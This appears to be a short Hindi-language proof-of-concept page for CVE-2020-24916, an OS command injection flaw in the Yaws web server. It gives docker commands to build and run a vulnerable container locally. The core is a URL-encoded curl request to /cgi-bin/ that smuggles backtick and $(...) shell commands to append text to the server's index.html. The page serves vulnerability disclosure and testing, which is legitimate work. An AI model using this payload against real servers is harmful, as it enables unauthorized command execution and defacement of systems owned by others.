Yaws वेब सर्वर में OS कमांड इंजेक्शन (CVE-2020-24916)

प्रूफ ऑफ कॉन्सेप्ट

परीक्षण इमेज बनाएं:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

और/या

कंटेनर चलाएं docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

श्रेय

एलेक्सी प्रोनिन (@vulnbe)

संदर्भ

• भेद्यता विश्लेषण
• गिटहब पर Yaws
• CVE-2020-24916
• CWE-78: OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित तटस्थीकरण ('OS कमांड इंजेक्शन')